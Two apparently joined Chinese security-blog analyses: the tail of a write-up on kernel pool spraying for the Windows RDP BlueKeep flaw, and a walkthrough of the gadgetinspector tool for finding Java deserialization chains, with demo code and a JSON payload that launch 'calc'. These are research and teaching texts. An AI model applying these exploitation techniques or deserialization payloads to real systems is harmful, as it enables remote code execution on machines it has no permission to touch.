对此标志的处理后变成如下,所以下一个数据依然会进入termdd!_IcaCopyDataToUserBuffer
,导致我们进行池喷射的失败回到rdpdr头部处理函数
rdpdr!DrSession::RecognizePacket
,我们发现在链表遍历失败后将会进行跳转,最后将会进入读取失败处理函数rdpdr!DrSession::ChannelIoFailed
,然后直接return了我们构造一个头部异常的数据包发送,头部标志我们构造的是0x7240,将会导致
rdpdr!DrSession::RecognizePacket
判断失败,之后将会继续遍历链表依次再取出两张函数数组最后两个函数数组依次调用
rdpdr!DrExchangeManager::RecognizePacket
和rdpdr!DrDeviceManager::RecognizePacket
,都会判断错误的头部标志0x7240,最后导致链表遍历完后进行错误跳转,直接绕过了termdd! _IcaQueueReadChannelRequest
对标志位的修改,将会打破循环最后我们连续构造多个错误的数据包后将会进入
ExAllocatePoolWithTag
,分配到我们需要的非分页内存!0x02 win7 EXP 池喷射简要分析
首先被释放的MS_T120池大小包括是0x170,池的标志是TSic
分析Win7 exp 可以知道数据占位是用的rdpsnd信道,作者没有采用rdpdr信道,应该也和喷射的稳定性有关,rdpsnd喷射是再建立完了rdpdr初始化后开始的,在free掉MS_T120结构体前,发送了1044个数据包去申请0x170大小的池内存,这样做可以说应该是为了防止之后被free掉的内存被其他程序占用了,提高free后内存被我们占用的生存几率
占位被free的实际数据大小为0x128,利用的中转地址是0xfffffa80ec000948
之后开始池喷射,将payload喷射到可以call [rax] == 0xfffffa80ec000948的地方,喷射的payload大小基本是0x400,总共喷射了200mb的数据大小,我们先来看下喷射前带标志TSic总共占用池内存大小是58kib左右
喷射完后带TSic标志池内存大小大约就是201mb,池内存喷射基本是成功的,我的win7是sp1,总共内存大小是1GB,再喷射过程中也没有其他干扰的,所以喷射很顺利
图中可以发现基本已经很稳定的0x400大小的池喷射payload,地址越高0x400大小的内存基本就很稳定了
最后断开连接时候,被free的内存已经被我们喷射的0x128大小的数据给占用了
执行call指令后稳定跳转到了我们的payload,成功执行!
参考链接:
[0] https://github.com/rapid7/metasploit-framework/pull/12283
[1] https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/
[2] https://wooyun.js.org/drops/%E7%BE%8A%E5%B9%B4%E5%86%85%E6%A0%B8%E5%A0%86%E9%A3%8E%E6%B0%B4%EF%BC%9A%20%E2%80%9CBig%20Kids%E2%80%99%20Pool%E2%80%9D%E4%B8%AD%E7%9A%84%E5%A0%86%E5%96%B7%E6%8A%80%E6%9C%AF.html -
Java 反序列化工具 gadgetinspector 初窥
作者:Longofo@知道创宇404实验室
时间:2019年9月4日起因
一开始是听@Badcode师傅说的这个工具,在Black Hat 2018的一个议题提出来的。这是一个基于字节码静态分析的、利用已知技巧自动查找从source到sink的反序列化利用链工具。看了几遍作者在Black Hat上的演讲视频与PPT,想从作者的演讲与PPT中获取更多关于这个工具的原理性的东西,可是有些地方真的很费解。不过作者开源了这个工具,但没有给出详细的说明文档,对这个工具的分析文章也很少,看到一篇平安集团对这个工具的分析,从文中描述来看,他们对这个工具应该有一定的认识并做了一些改进,但是在文章中对某些细节没有做过多的阐释。后面尝试了调试这个工具,大致理清了这个工具的工作原理,下面是对这个工具的分析过程,以及对未来工作与改进的设想。
关于这个工具
- 这个工具不是用来寻找漏洞,而是利用已知的source->...->sink链或其相似特征发现分支利用链或新的利用链。
- 这个工具是在整个应用的classpath中寻找利用链。
- 这个工具进行了一些合理的预估风险判断(污点判断、污点传递等)。
- 这个工具会产生误报不是漏报(其实这里还是会漏报,这是作者使用的策略决定的,在后面的分析中可以看到)。
- 这个工具是基于字节码分析的,对于Java应用来说,很多时候我们并没有源码,而只有War包、Jar包或class文件。
- 这个工具不会生成能直接利用的Payload,具体的利用构造还需要人工参与。
序列化与反序列化
序列化(Serialization)是将对象的状态信息转化为可以存储或者传输形式的过程,转化后的信息可以存储在磁盘上,在网络传输过程中,可以是字节、XML、JSON等格式;而将字节、XML、JSON等格式的信息还原成对象这个相反的过程称为反序列化。
在JAVA中,对象的序列化和反序列化被广泛的应用到RMI(远程方法调用)及网络传输中。
Java中的序列化与反序列化库
- JDK(ObjectInputStream)
- XStream(XML,JSON)
- Jackson(XML,JSON)
- Genson(JSON)
- JSON-IO(JSON)
- FlexSON(JSON)
- Fastjson(JSON)
- ...
不同的反序列化库在反序列化不同的类时有不同的行为、被反序列化类的不同"魔术方法"会被自动调用,这些被自动调用的方法就能够作为反序列化的入口点(source)。如果这些被自动调用的方法又调用了其他子方法,那么在调用链中某一个子方法也可以作为source,就相当于已知了调用链的前部分,从某个子方法开始寻找不同的分支。通过方法的层层调用,可能到达某些危险的方法(sink)。
- ObjectInputStream
例如某个类实现了Serializable接口,ObjectInputStream.readobject在反序列化类得到其对象时会自动查找这个类的readObject、readResolve等方法并调用。
例如某个类实现了Externalizable接口,ObjectInputStream.readobject在反序列化类得到其对象时会自动查找这个类的readExternal等方法并调用。
- Jackson
ObjectMapper.readValue在反序列化类得到其对象时,会自动查找反序列化类的无参构造方法、包含一个基础类型参数的构造方法、属性的setter、属性的getter等方法并调用。
- ...
在后面的分析中,都使用JDK自带的ObjectInputStream作为样例。
控制数据类型=>控制代码
作者说,在反序列化漏洞中,如果控制了数据类型,我们就控制了代码。这是什么意思呢?按我的理解,写了下面的一个例子:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869public class TestDeserialization {interface Animal {public void eat();}public static class Cat implements Animal,Serializable {@Overridepublic void eat() {System.out.println("cat eat fish");}}public static class Dog implements Animal,Serializable {@Overridepublic void eat() {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}System.out.println("dog eat bone");}}public static class Person implements Serializable {private Animal pet;public Person(Animal pet){this.pet = pet;}private void readObject(java.io.ObjectInputStream stream)throws IOException, ClassNotFoundException {pet = (Animal) stream.readObject();pet.eat();}}public static void GeneratePayload(Object instance, String file)throws Exception {//将构造好的payload序列化后写入文件中File f = new File(file);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));out.writeObject(instance);out.flush();out.close();}public static void payloadTest(String file) throws Exception {//读取写入的payload,并进行反序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));Object obj = in.readObject();System.out.println(obj);in.close();}public static void main(String[] args) throws Exception {Animal animal = new Dog();Person person = new Person(animal);GeneratePayload(person,"test.ser");payloadTest("test.ser");// Animal animal = new Cat();// Person person = new Person(animal);// GeneratePayload(person,"test.ser");// payloadTest("test.ser");}}为了方便我把所有类写在一个类中进行测试。在Person类中,有一个Animal类的属性pet,它是Cat和Dog的接口。在序列化时,我们能够控制Person的pet具体是Cat对象或者Dog对象,因此在反序列化时,在readObject中
pet.eat()
具体的走向就不一样了。如果是pet是Cat类对象,就不会走到执行有害代码Runtime.getRuntime().exec("calc");
这一步,但是如果pet是Dog类的对象,就会走到有害代码。即使有时候类属性在声明时已经为它赋值了某个具体的对象,但是在Java中通过反射等方式依然能修改。如下:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566public class TestDeserialization {interface Animal {public void eat();}public static class Cat implements Animal, Serializable {@Overridepublic void eat() {System.out.println("cat eat fish");}}public static class Dog implements Animal, Serializable {@Overridepublic void eat() {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}System.out.println("dog eat bone");}}public static class Person implements Serializable {private Animal pet = new Cat();private void readObject(java.io.ObjectInputStream stream)throws IOException, ClassNotFoundException {pet = (Animal) stream.readObject();pet.eat();}}public static void GeneratePayload(Object instance, String file)throws Exception {//将构造好的payload序列化后写入文件中File f = new File(file);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));out.writeObject(instance);out.flush();out.close();}public static void payloadTest(String file) throws Exception {//读取写入的payload,并进行反序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));Object obj = in.readObject();System.out.println(obj);in.close();}public static void main(String[] args) throws Exception {Animal animal = new Dog();Person person = new Person();//通过反射修改私有属性Field field = person.getClass().getDeclaredField("pet");field.setAccessible(true);field.set(person, animal);GeneratePayload(person, "test.ser");payloadTest("test.ser");}}在Person类中,不能通过构造器或setter方法或其他方式对pet赋值,属性在声明时已经被定义为Cat类的对象,但是通过反射能将pet修改为Dog类的对象,因此在反序列化时依然会走到有害代码处。
这只是我自己对作者"控制了数据类型,就控制了代码"的理解,在Java反序列化漏洞中,很多时候是利用到了Java的多态特性来控制代码走向最后达到恶意执行目的。
魔术方法
在上面的例子中,能看到在反序列化时没有调用Person的readobject方法,它是ObjectInputStream在反序列化对象时自动调用的。作者将在反序列化中会自动调用的方法称为"魔术方法"。
使用ObjectInputStream反序列化时几个常见的魔术方法:
- Object.readObject()
- Object.readResolve()
- Object.finalize()
- ...
一些可序列化的JDK类实现了上面这些方法并且还自动调用了其他方法(可以作为已知的入口点):
- HashMap
- Object.hashCode()
- Object.equals()
- PriorityQueue
- Comparator.compare()
- Comparable.CompareTo()
- ...
一些sink:
- Runtime.exec(),这种最为简单直接,即直接在目标环境中执行命令
- Method.invoke(),这种需要适当地选择方法和参数,通过反射执行Java方法
- RMI/JNDI/JRMP等,通过引用远程对象,间接实现任意代码执行的效果
- ...
作者给出了一个从Magic Methods(source)->Gadget Chains->Runtime.exec(sink)的例子:
上面的HashMap实现了readObject这个"魔术方法",并且调用了hashCode方法。某些类为了比较对象之间是否相等会实现equals方法(一般是equals和hashCode方法同时实现)。从图中可以看到AbstractTableModel$ff19274a正好实现了hashCode方法,其中又调用了
f.invoke
方法,f是IFn对象,并且f能通过属性__clojureFnMap
获取到。IFn是一个接口,上面说到,如果控制了数据类型,就控制了代码走向。所以如果我们在序列化时,在__clojureFnMap
放置IFn接口的实现类FnCompose的一个对象,那么就能控制f.invoke
走FnCompose.invoke
方法,接着控制FnCompose.invoke中的f1、f2为FnConstant就能到达FnEval.invoke了(关于AbstractTableModel$ff19274a.hashcode中的f.invoke
具体选择IFn的哪个实现类,根据后面对这个工具的测试以及对决策原理的分析,广度优先会选择短的路径,也就是选择了FnEval.invoke,所以这也是为什么要人为参与,在后面的样例分析中也可以看到)。有了这条链,只需要找到触发这个链的漏洞点就行了。Payload使用JSON格式表示如下:
12345678910111213141516{"@class":"java.util.HashMap","members":[2,{"@class":"AbstractTableModel$ff19274a","__clojureFnMap":{"hashcode":{"@class":"FnCompose","f1":{"@class","FnConstant",value:"calc"},"f2":{"@class":"FnEval"}}}}]}gadgetinspector工作流程
如作者所说,正好使用了五个步骤:
1234567891011121314151617181920212223242526272829303132333435// 枚举全部类以及类的所有方法if (!Files.exists(Paths.get("classes.dat")) || !Files.exists(Paths.get("methods.dat"))|| !Files.exists(Paths.get("inheritanceMap.dat"))) {LOGGER.info("Running method discovery...");MethodDiscovery methodDiscovery = new MethodDiscovery();methodDiscovery.discover(classResourceEnumerator);methodDiscovery.save();}//生成passthrough数据流if (!Files.exists(Paths.get("passthrough.dat"))) {LOGGER.info("Analyzing methods for passthrough dataflow...");PassthroughDiscovery passthroughDiscovery = new PassthroughDiscovery();passthroughDiscovery.discover(classResourceEnumerator, config);passthroughDiscovery.save();}//生成passthrough调用图if (!Files.exists(Paths.get("callgraph.dat"))) {LOGGER.info("Analyzing methods in order to build a call graph...");CallGraphDiscovery callGraphDiscovery = new CallGraphDiscovery();callGraphDiscovery.discover(classResourceEnumerator, config);callGraphDiscovery.save();}//搜索可用的sourceif (!Files.exists(Paths.get("sources.dat"))) {LOGGER.info("Discovering gadget chain source methods...");SourceDiscovery sourceDiscovery = config.getSourceDiscovery();sourceDiscovery.discover();sourceDiscovery.save();}//搜索生成调用链{LOGGER.info("Searching call graph for gadget chains...");GadgetChainDiscovery gadgetChainDiscovery = new GadgetChainDiscovery(config);gadgetChainDiscovery.discover();}Step1 枚举全部类以及每个类的所有方法
要进行调用链的搜索,首先得有所有类及所有类方法的相关信息:
12345678910111213141516171819202122232425262728293031323334public class MethodDiscovery {private static final Logger LOGGER = LoggerFactory.getLogger(MethodDiscovery.class);private final List<ClassReference> discoveredClasses = new ArrayList<>();//保存所有类信息private final List<MethodReference> discoveredMethods = new ArrayList<>();//保存所有方法信息......public void discover(final ClassResourceEnumerator classResourceEnumerator) throws Exception {//classResourceEnumerator.getAllClasses()获取了运行时的所有类(JDK rt.jar)以及要搜索应用中的所有类for (ClassResourceEnumerator.ClassResource classResource : classResourceEnumerator.getAllClasses()) {try (InputStream in = classResource.getInputStream()) {ClassReader cr = new ClassReader(in);try {cr.accept(new MethodDiscoveryClassVisitor(), ClassReader.EXPAND_FRAMES);//通过ASM框架操作字节码并将类信息保存到this.discoveredClasses,将方法信息保存到discoveredMethods} catch (Exception e) {LOGGER.error("Exception analyzing: " + classResource.getName(), e);}}}}......public void save() throws IOException {DataLoader.saveData(Paths.get("classes.dat"), new ClassReference.Factory(), discoveredClasses);//将类信息保存到classes.datDataLoader.saveData(Paths.get("methods.dat"), new MethodReference.Factory(), discoveredMethods);//将方法信息保存到methods.datMap<ClassReference.Handle, ClassReference> classMap = new HashMap<>();for (ClassReference clazz : discoveredClasses) {classMap.put(clazz.getHandle(), clazz);}InheritanceDeriver.derive(classMap).save();//查找所有继承关系并保存}}来看下classes.dat、methods.dat分别长什么样子:
- classes.dat
找了两个比较有特征的
第一个类com/sun/deploy/jardiff/JarDiffPatcher:
和上面的表格信息对应一下,是吻合的
- 类名:com/sun/deploy/jardiff/JarDiffPatcher
- 父类: java/lang/Object,如果一类没有显式继承其他类,默认隐式继承java/lang/Object,并且java中不允许多继承,所以每个类只有一个父类
- 所有接口:com/sun/deploy/jardiff/JarDiffConstants、com/sun/deploy/jardiff/Patcher
- 是否是接口:false
- 成员:newBytes!2![B,newBytes成员,Byte类型。为什么没有将static/final类型的成员加进去呢?这里还没有研究如何操作字节码,所以作者这里的判断实现部分暂且跳过。不过猜测应该是这种类型的变量并不能成为污点所以忽略了
第二个类com/sun/corba/se/impl/presentation/rmi/InvocationHandlerFactoryImpl$CustomCompositeInvocationHandlerImpl:
和上面的表格信息对应一下,也是吻合的
- 类名:com/sun/corba/se/impl/presentation/rmi/InvocationHandlerFactoryImpl$CustomCompositeInvocationHandlerImpl,是一个内部类
- 父类: com/sun/corba/se/spi/orbutil/proxy/CompositeInvocationHandlerImpl
- 所有接口:com/sun/corba/se/spi/orbutil/proxy/LinkedInvocationHandler,java/io/Serializable
- 是否是接口:false
- 成员:stub!130!com/sun/corba/se/spi/presentation/rmi/DynamicStub!this$0!4112!com/sun/corba/se/impl/presentation/rmi/InvocationHandlerFactoryImpl,!*!这里可以暂时理解为分割符,有一个成员stub,类型com/sun/corba/se/spi/presentation/rmi/DynamicStub。因为是内部类,所以多了个this成员,这个this指向的是外部类
- methods.dat
同样找几个比较有特征的
sun/nio/cs/ext/Big5#newEncoder:
- 类名:sun/nio/cs/ext/Big5
- 方法名: newEncoder
- 方法描述信息: ()Ljava/nio/charset/CharsetEncoder; 无参,返回java/nio/charset/CharsetEncoder对象
- 是否是静态方法:false
sun/nio/cs/ext/Big5_HKSCS$Decoder#\<init>:
- 类名:sun/nio/cs/ext/Big5_HKSCS$Decoder
- 方法名:\<init>
- 方法描述信息: (Ljava/nio/charset/Charset;Lsun/nio/cs/ext/Big5_HKSCS1;)V参数1是java/nio/charset/Charset类型,参数2是sun/nio/cs/ext/Big5HKSCS1;)V参数1是java/nio/charset/Charset类型,参数2是sun/nio/cs/ext/Big5HKSCS1类型,返回值void
- 是否是静态方法:false
继承关系的生成:
继承关系在后面用来判断一个类是否能被某个库序列化、以及搜索子类方法实现等会用到。
12345678910111213141516171819202122232425262728293031323334353637383940414243public class InheritanceDeriver {private static final Logger LOGGER = LoggerFactory.getLogger(InheritanceDeriver.class);public static InheritanceMap derive(Map<ClassReference.Handle, ClassReference> classMap) {LOGGER.debug("Calculating inheritance for " + (classMap.size()) + " classes...");Map<ClassReference.Handle, Set<ClassReference.Handle>> implicitInheritance = new HashMap<>();for (ClassReference classReference : classMap.values()) {if (implicitInheritance.containsKey(classReference.getHandle())) {throw new IllegalStateException("Already derived implicit classes for " + classReference.getName());}Set<ClassReference.Handle> allParents = new HashSet<>();getAllParents(classReference, classMap, allParents);//获取当前类的所有父类implicitInheritance.put(classReference.getHandle(), allParents);}return new InheritanceMap(implicitInheritance);}......private static void getAllParents(ClassReference classReference, Map<ClassReference.Handle, ClassReference> classMap, Set<ClassReference.Handle> allParents) {Set<ClassReference.Handle> parents = new HashSet<>();if (classReference.getSuperClass() != null) {parents.add(new ClassReference.Handle(classReference.getSuperClass()));//父类}for (String iface : classReference.getInterfaces()) {parents.add(new ClassReference.Handle(iface));//接口类}for (ClassReference.Handle immediateParent : parents) {//获取间接父类,以及递归获取间接父类的父类ClassReference parentClassReference = classMap.get(immediateParent);if (parentClassReference == null) {LOGGER.debug("No class id for " + immediateParent.getName());continue;}allParents.add(parentClassReference.getHandle());getAllParents(parentClassReference, classMap, allParents);}}......}这一步的结果保存到了inheritanceMap.dat:
Step2 生成passthrough数据流
这里的passthrough数据流指的是每个方法的返回结果与方法参数的关系,这一步生成的数据会在生成passthrough调用图时用到。
以作者给出的demo为例,先从宏观层面判断下:
FnConstant.invoke返回值与参数this(参数0,因为序列化时类的所有成员我们都能控制,所以所有成员变量都视为0参)、arg(参数1)的关系:
- 与this的关系:返回了this.value,即与0参有关系
- 与arg的关系:返回值与arg没有任何关系,即与1参没有关系
- 结论就是FnConstant.invoke与参数0有关,表示为FnConstant.invoke()->0
Fndefault.invoke返回值与参数this(参数0)、arg(参数1)的关系:
- 与this的关系:返回条件的第二个分支与this.f有关系,即与0参有关系
- 与arg的关系:返回条件的第一个分支与arg有关系,即与1参有关系
- 结论就是FnConstant.invoke与0参,1参都有关系,表示为Fndefault.invoke()->0、Fndefault.invoke()->1
在这一步中,gadgetinspector是利用ASM来进行方法字节码的分析,主要逻辑是在类PassthroughDiscovery和TaintTrackingMethodVisitor中。特别是TaintTrackingMethodVisitor,它通过标记追踪JVM虚拟机在执行方法时的stack和localvar,并最终得到返回结果是否可以被参数标记污染。
核心实现代码(TaintTrackingMethodVisitor涉及到字节码分析,暂时先不看):
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364public class PassthroughDiscovery {private static final Logger LOGGER = LoggerFactory.getLogger(PassthroughDiscovery.class);private final Map<MethodReference.Handle, Set<MethodReference.Handle>> methodCalls = new HashMap<>();private Map<MethodReference.Handle, Set<Integer>> passthroughDataflow;public void discover(final ClassResourceEnumerator classResourceEnumerator, final GIConfig config) throws IOException {Map<MethodReference.Handle, MethodReference> methodMap = DataLoader.loadMethods();//load之前保存的methods.datMap<ClassReference.Handle, ClassReference> classMap = DataLoader.loadClasses();//load之前保存的classes.datInheritanceMap inheritanceMap = InheritanceMap.load();//load之前保存的inheritanceMap.datMap<String, ClassResourceEnumerator.ClassResource> classResourceByName = discoverMethodCalls(classResourceEnumerator);//查找一个方法中包含的子方法List<MethodReference.Handle> sortedMethods = topologicallySortMethodCalls();//对所有方法构成的图执行逆拓扑排序passthroughDataflow = calculatePassthroughDataflow(classResourceByName, classMap, inheritanceMap, sortedMethods,config.getSerializableDecider(methodMap, inheritanceMap));//计算生成passthrough数据流,涉及到字节码分析}......private List<MethodReference.Handle> topologicallySortMethodCalls() {Map<MethodReference.Handle, Set<MethodReference.Handle>> outgoingReferences = new HashMap<>();for (Map.Entry<MethodReference.Handle, Set<MethodReference.Handle>> entry : methodCalls.entrySet()) {MethodReference.Handle method = entry.getKey();outgoingReferences.put(method, new HashSet<>(entry.getValue()));}// 对所有方法构成的图执行逆拓扑排序LOGGER.debug("Performing topological sort...");Set<MethodReference.Handle> dfsStack = new HashSet<>();Set<MethodReference.Handle> visitedNodes = new HashSet<>();List<MethodReference.Handle> sortedMethods = new ArrayList<>(outgoingReferences.size());for (MethodReference.Handle root : outgoingReferences.keySet()) {dfsTsort(outgoingReferences, sortedMethods, visitedNodes, dfsStack, root);}LOGGER.debug(String.format("Outgoing references %d, sortedMethods %d", outgoingReferences.size(), sortedMethods.size()));return sortedMethods;}......private static void dfsTsort(Map<MethodReference.Handle, Set<MethodReference.Handle>> outgoingReferences,List<MethodReference.Handle> sortedMethods, Set<MethodReference.Handle> visitedNodes,Set<MethodReference.Handle> stack, MethodReference.Handle node) {if (stack.contains(node)) {//防止在dfs一条方法调用链中进入循环return;}if (visitedNodes.contains(node)) {//防止对某个方法及子方法重复排序return;}Set<MethodReference.Handle> outgoingRefs = outgoingReferences.get(node);if (outgoingRefs == null) {return;}stack.add(node);for (MethodReference.Handle child : outgoingRefs) {dfsTsort(outgoingReferences, sortedMethods, visitedNodes, stack, child);}stack.remove(node);visitedNodes.add(node);sortedMethods.add(node);}}拓扑排序
有向无环图(DAG)才有拓扑排序,非 DAG 图没有拓扑排序。 当有向无环图满足以下条件时:
- 每一个顶点出现且只出现一次
- 若A在序列中排在B的前面,则在图中不存在从B到A的路径
这样的图,是一个拓扑排序的图。树结构其实可以转化为拓扑排序,而拓扑排序 不一定能够转化为树。
以上面的拓扑排序图为例,用一个字典表示图结构
1234567graph = {"a": ["b","d"],"b": ["c"],"d": ["e","c"],"e": ["c"],"c": [],}代码实现
123456789101112131415161718192021222324252627graph = {"a": ["b","d"],"b": ["c"],"d": ["e","c"],"e": ["c"],"c": [],}def TopologicalSort(graph):degrees = dict((u, 0) for u in graph)for u in graph:for v in graph[u]:degrees[v] += 1#入度为0的插入队列queue = [u for u in graph if degrees[u] == 0]res = []while queue:u = queue.pop()res.append(u)for v in graph[u]:# 移除边,即将当前元素相关元素的入度-1degrees[v] -= 1if degrees[v] == 0:queue.append(v)return resprint(TopologicalSort(graph)) # ['a', 'd', 'e', 'b', 'c']但是在方法的调用中,我们希望最后的结果是c、b、e、d、a,这一步需要逆拓扑排序,正向排序使用的BFS,那么得到相反结果可以使用DFS。为什么在方法调用中需要使用逆拓扑排序呢,这与生成passthrough数据流有关。看下面一个例子:
123456...public String parentMethod(String arg){String vul = Obj.childMethod(arg);return vul;}...那么这里arg与返回值到底有没有关系呢?假设Obj.childMethod为
12345...public String childMethod(String carg){return carg.toString();}...由于childMethod的返回值carg与有关,那么可以判定parentMethod的返回值与参数arg是有关系的。所以如果存在子方法调用并传递了父方法参数给子方法时,需要先判断子方法返回值与子方法参数的关系。因此需要让子方法的判断在前面,这就是为什么要进行逆拓扑排序。
从下图可以看出outgoingReferences的数据结构为:
123456{method1:(method2,method3,method4),method5:(method1,method6),...}而这个结构正好适合逆拓扑排序
但是上面说拓扑排序时不能形成环,但是在方法调用中肯定是会存在环的。作者是如何避免的呢?
在上面的dfsTsort实现代码中可以看到使用了stack和visitedNodes,stack保证了在进行逆拓扑排序时不会形成环,visitedNodes避免了重复排序。使用如下一个调用图来演示过程:
从图中可以看到有环med1->med2->med6->med1,并且有重复的调用med3,严格来说并不能进行逆拓扑排序,但是通过stack、visited记录访问过的方法,就能实现逆拓扑排序。为了方便解释把上面的图用一个树来表示:
对上图进行逆拓扑排序(DFS方式):
从med1开始,先将med1加入stack中,此时stack、visited、sortedmethods状态如下:
med1还有子方法?有,继续深度遍历。将med2放入stack,此时的状态:
med2有子方法吗?有,继续深度遍历。将med3放入stack,此时的状态:
med3有子方法吗?有,继续深度遍历。将med7放入stack,此时的状态:
med7有子方法吗?没有,从stack中弹出med7并加入visited和sortedmethods,此时的状态:
回溯到上一层,med3还有其他子方法吗?有,med8,将med8放入stack,此时的状态:
med8还有子方法吗?没有,弹出stack,加入visited与sortedmethods,此时的状态:
回溯到上一层,med3还有其他子方法吗?没有了,弹出stack,加入visited与sortedmethods,此时的状态:
回溯到上一层,med2还有其他子方法吗?有,med6,将med6加入stack,此时的状态:
med6还有子方法吗?有,med1,med1在stack中?不加入,抛弃。此时状态和上一步一样
回溯到上一层,med6还有其他子方法吗?没有了,弹出stack,加入visited和sortedmethods,此时的状态:
回溯到上一层,med2还有其他子方法吗?没有了,弹出stack,加入visited和sortedmethods,此时的状态:
回溯到上一层,med1还有其他子方法吗?有,med3,med3在visited中?在,抛弃。
回溯到上一层,med1还有其他子方法吗?有,med4,将med4加入stack,此时的状态:
med4还有其他子方法吗?没有,弹出stack,加入visited和sortedmethods中,此时的状态:
回溯到上一层,med1还有其他子方法吗?没有了,弹出stack,加入visited和sortedmethods中,此时的状态(即最终状态):
所以最后的逆拓扑排序结果为:med7、med8、med3、med6、med2、med4、med1。
生成passthrough数据流
在calculatePassthroughDataflow中遍历了sortedmethods,并通过字节码分析,生成了方法返回值与参数关系的passthrough数据流。注意到下面的序列化决定器,作者内置了三种:JDK、Jackson、Xstream,会根据具体的序列化决定器判定决策过程中的类是否符合对应库的反序列化要求,不符合的就跳过:
- 对于JDK(ObjectInputStream),类否继承了Serializable接口
- 对于Jackson,类是否存在0参构造器
- 对于Xstream,类名能否作为有效的XML标签
生成passthrough数据流代码:
1234567891011121314151617181920212223242526272829...private static Map<MethodReference.Handle, Set<Integer>> calculatePassthroughDataflow(Map<String, ClassResourceEnumerator.ClassResource> classResourceByName,Map<ClassReference.Handle, ClassReference> classMap,InheritanceMap inheritanceMap,List<MethodReference.Handle> sortedMethods,SerializableDecider serializableDecider) throws IOException {final Map<MethodReference.Handle, Set<Integer>> passthroughDataflow = new HashMap<>();for (MethodReference.Handle method : sortedMethods) {//依次遍历sortedmethods,并且每个方法的子方法判定总在这个方法之前,这是通过的上面的逆拓扑排序实现的。if (method.getName().equals("<clinit>")) {continue;}ClassResourceEnumerator.ClassResource classResource = classResourceByName.get(method.getClassReference().getName());try (InputStream inputStream = classResource.getInputStream()) {ClassReader cr = new ClassReader(inputStream);try {PassthroughDataflowClassVisitor cv = new PassthroughDataflowClassVisitor(classMap, inheritanceMap,passthroughDataflow, serializableDecider, Opcodes.ASM6, method);cr.accept(cv, ClassReader.EXPAND_FRAMES);//通过结合classMap、inheritanceMap、已判定出的passthroughDataflow结果、序列化决定器信息来判定当前method的返回值与参数的关系passthroughDataflow.put(method, cv.getReturnTaint());//将判定后的method与有关系的污染点加入passthroughDataflow} catch (Exception e) {LOGGER.error("Exception analyzing " + method.getClassReference().getName(), e);}} catch (IOException e) {LOGGER.error("Unable to analyze " + method.getClassReference().getName(), e);}}return passthroughDataflow;}...最后生成了passthrough.dat:
Step3 枚举passthrough调用图
这一步和上一步类似,gadgetinspector 会再次扫描全部的Java方法,但检查的不再是参数与返回结果的关系,而是方法的参数与其所调用的子方法的关系,即子方法的参数是否可以被父方法的参数所影响。那么为什么要进行上一步的生成passthrough数据流呢?由于这一步的判断也是在字节码分析中,所以这里只能先进行一些猜测,如下面这个例子:
1234567891011...private MyObject obj;public void parentMethod(Object arg){...TestObject obj1 = new TestObject();Object obj2 = obj1.childMethod1(arg);this.obj.childMethod(obj2);...}...如果不进行生成passthrough数据流操作,就无法判断TestObject.childMethod1的返回值是否会受到参数1的影响,也就无法继续判断parentMethod的arg参数与子方法MyObject.childmethod的参数传递关系。
作者给出的例子:
AbstractTableModel$ff19274a.hashcode与子方法IFn.invoke:
- AbstractTableModel$ff19274a.hashcode的this(0参)传递给了IFn.invoke的1参,表示为0->IFn.invoke()@1
- 由于f是通过this.__clojureFnMap(0参)获取的,而f又为IFn.invoke()的this(0参),即AbstractTableModel$ff19274a.hashcode的0参传递给了IFn.invoke的0参,表示为0->IFn.invoke()@0
FnCompose.invoke与子方法IFn.invoke:
- FnCompose.invoked的arg(1参)传递给了IFn.invoke的1参,表示为1->IFn.invoke()@1
- f1为FnCompose的属性(this,0参),被做为了IFn.invoke的this(0参数)传递,表示为0->IFn.invoke()@1
- f1.invoke(arg)做为一个整体被当作1参传递给了IFn.invoke,由于f1在序列化时我们可以控制具体是IFn的哪个实现类,所以具体调用哪个实现类的invoke也相当于能够控制,即f1.invoke(arg)这个整体可以视为0参数传递给了IFn.invoke的1参(这里只是进行的简单猜测,具体实现在字节码分析中,可能也体现了作者说的合理的风险判断吧),表示为0->IFn.invoke()@1
在这一步中,gadgetinspector也是利用ASM来进行字节码的分析,主要逻辑是在类CallGraphDiscovery和ModelGeneratorClassVisitor中。在ModelGeneratorClassVisitor中通过标记追踪JVM虚拟机在执行方法时的stack和localvar,最终得到方法的参数与其所调用的子方法的参数传递关系。
生成passthrough调用图代码(暂时省略ModelGeneratorClassVisitor的实现,涉及到字节码分析):
12345678910111213141516171819202122232425public class CallGraphDiscovery {private static final Logger LOGGER = LoggerFactory.getLogger(CallGraphDiscovery.class);private final Set<GraphCall> discoveredCalls = new HashSet<>();public void discover(final ClassResourceEnumerator classResourceEnumerator, GIConfig config) throws IOException {Map<MethodReference.Handle, MethodReference> methodMap = DataLoader.loadMethods();//加载所有方法Map<ClassReference.Handle, ClassReference> classMap = DataLoader.loadClasses();//加载所有类InheritanceMap inheritanceMap = InheritanceMap.load();//加载继承图Map<MethodReference.Handle, Set<Integer>> passthroughDataflow = PassthroughDiscovery.load();//加载passthrough数据流SerializableDecider serializableDecider = config.getSerializableDecider(methodMap, inheritanceMap);//序列化决定器for (ClassResourceEnumerator.ClassResource classResource : classResourceEnumerator.getAllClasses()) {try (InputStream in = classResource.getInputStream()) {ClassReader cr = new ClassReader(in);try {cr.accept(new ModelGeneratorClassVisitor(classMap, inheritanceMap, passthroughDataflow, serializableDecider, Opcodes.ASM6),ClassReader.EXPAND_FRAMES);//通过结合classMap、inheritanceMap、passthroughDataflow结果、序列化决定器信息来判定当前method参数与子方法传递调用关系} catch (Exception e) {LOGGER.error("Error analyzing: " + classResource.getName(), e);}}}}最后生成了passthrough.dat:
Step4 搜索可用的source
这一步会根据已知的反序列化漏洞的入口,检查所有可以被触发的方法。例如,在利用链中使用代理时,任何可序列化并且是
java/lang/reflect/InvocationHandler
